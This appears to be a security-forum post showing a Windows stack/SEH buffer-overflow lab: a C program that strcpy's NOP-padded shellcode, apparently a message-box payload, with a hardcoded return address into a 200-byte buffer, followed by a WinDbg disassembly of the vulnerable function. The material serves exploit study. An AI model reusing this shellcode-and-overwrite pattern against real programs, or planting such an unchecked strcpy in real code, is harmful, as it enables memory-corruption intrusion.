#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x64\xfe\x12\x00";  //win7 vs2013    release address of shellcode

DWORD	MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
}

void test(char *input)
{
	char buf[200];
	int zero = 0;

	__asm int 3;

	__try
	{
		strcpy(buf, input);

		zero = 4 / zero;
	}
	__except(MyExceptionhandler())
	{

	}
	
	return 0;	
}

main()
{
	test(shellcode);
}

0:000> uf test
   58 010c1000 55              push    ebp
   58 010c1001 8bec            mov     ebp,esp
   58 010c1003 6afe            push    0FFFFFFFEh
   58 010c1005 68e0210c01      push    offset p1!__rtc_tzz+0x4 (010c21e0)
   58 010c100a 6889180c01      push    offset p1!_except_handler4 (010c1889)
   58 010c100f 64a100000000    mov     eax,dword ptr fs:[00000000h]
   58 010c1015 50              push    eax
   58 010c1016 81ecd4000000    sub     esp,0D4h
   58 010c101c a100300c01      mov     eax,dword ptr [p1!__security_cookie (010c3000)]
   58 010c1021 3145f8          xor     dword ptr [ebp-8],eax
   58 010c1024 33c5            xor     eax,ebp
   58 010c1026 8945e4          mov     dword ptr [ebp-1Ch],eax
   58 010c1029 53              push    ebx
   58 010c102a 56              push    esi
   58 010c102b 57              push    edi
   58 010c102c 50              push    eax
   58 010c102d 8d45f0          lea     eax,[ebp-10h]
   58 010c1030 64a300000000    mov     dword ptr fs:[00000000h],eax
   58 010c1036 8965e8          mov     dword ptr [ebp-18h],esp
   62 010c1039 cc              int     3
   64 010c103a c745fc00000000  mov     dword ptr [ebp-4],0
   66 010c1041 33c9            xor     ecx,ecx
   66 010c1043 eb0b            jmp     p1!test+0x50 (010c1050)
[COLOR="Blue"]   66 010c1050 8a8120300c01    mov     al,byte ptr p1!shellcode (010c3020)[ecx]
   66 010c1056 88840d1cffffff  mov     byte ptr [ebp+ecx-0E4h],al
   66 010c105d 8d4901          lea     ecx,[ecx+1]
   66 010c1060 84c0            test    al,al
   66 010c1062 75ec            jne     p1!test+0x50 (010c1050)[/COLOR]
   69 010c1064 eb20            jmp     p1!test+0x86 (010c1086)
   73 010c1086 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
   75 010c108d 33c0            xor     eax,eax
   76 010c108f 8b4df0          mov     ecx,dword ptr [ebp-10h]
   76 010c1092 64890d00000000  mov     dword ptr fs:[0],ecx
   76 010c1099 59              pop     ecx
   76 010c109a 5f              pop     edi
   76 010c109b 5e              pop     esi
   76 010c109c 5b              pop     ebx
   76 010c109d 8b4de4          mov     ecx,dword ptr [ebp-1Ch]
   76 010c10a0 33cd            xor     ecx,ebp
   76 010c10a2 e811000000      call    p1!__security_check_cookie (010c10b8)
   76 010c10a7 8be5            mov     esp,ebp
   76 010c10a9 5d              pop     ebp
   76 010c10aa c3              ret

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课